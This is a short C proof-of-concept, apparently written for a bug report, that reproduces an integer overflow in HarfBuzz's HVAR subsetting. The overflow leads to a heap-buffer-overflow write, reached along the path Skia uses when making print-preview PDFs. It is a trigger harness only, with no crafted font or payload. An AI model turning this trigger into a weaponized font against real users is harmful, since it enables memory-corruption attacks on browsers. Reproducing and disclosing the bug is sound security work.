// POC: Integer overflow in HarfBuzz VarData::get_size() during HVAR
// subsetting -> heap-buffer-overflow write.
//
// This mirrors the call sequence in third_party/skia/src/pdf/SkPDFSubsetFont.cpp
// (make_subset / subset_harfbuzz), which is invoked by the PrintCompositor
// utility process when generating a PDF for print preview.

#include <stdio.h>
#include <stdlib.h>

#include <hb.h>
#include <hb-subset.h>

int main(int argc, char** argv) {
  if (argc < 2) {
    fprintf(stderr, "usage: %s <font.ttf> [num_glyphs]\n", argv[0]);
    return 1;
  }
  unsigned num_glyphs = (argc > 2) ? (unsigned)atoi(argv[2]) : 7282;
  unsigned start_gid  = (argc > 3) ? (unsigned)atoi(argv[3]) : 0;

  hb_blob_t* blob = hb_blob_create_from_file_or_fail(argv[1]);
  if (!blob) {
    fprintf(stderr, "failed to load %s\n", argv[1]);
    return 1;
  }
  fprintf(stderr, "blob length: %u\n", hb_blob_get_length(blob));

  hb_face_t* face = hb_face_create(blob, 0);
  hb_blob_destroy(blob);
  fprintf(stderr, "face glyph count: %u\n", hb_face_get_glyph_count(face));

  hb_subset_input_t* input = hb_subset_input_create_or_fail();
  if (!input) {
    fprintf(stderr, "hb_subset_input_create_or_fail failed\n");
    return 1;
  }

  // Exactly what SkPDFSubsetFont.cpp's make_subset() does:
  hb_subset_input_set_flags(input, HB_SUBSET_FLAGS_RETAIN_GIDS);

  // SkPDF adds the glyph IDs used in the document. We add 0..num_glyphs-1
  // to simulate a document that rendered all glyphs of the font.
  hb_set_t* glyphs = hb_subset_input_glyph_set(input);
  for (unsigned g = start_gid; g < num_glyphs; g++) {
    hb_set_add(glyphs, g);
  }
  fprintf(stderr, "added gids %u..%u\n", start_gid, num_glyphs - 1);

  fprintf(stderr, "calling hb_subset_or_fail (HVAR overflow path)...\n");
  hb_face_t* result = hb_subset_or_fail(face, input);
  fprintf(stderr, "hb_subset_or_fail returned %p\n", (void*)result);

  if (result) hb_face_destroy(result);
  hb_subset_input_destroy(input);
  hb_face_destroy(face);
  return 0;
}
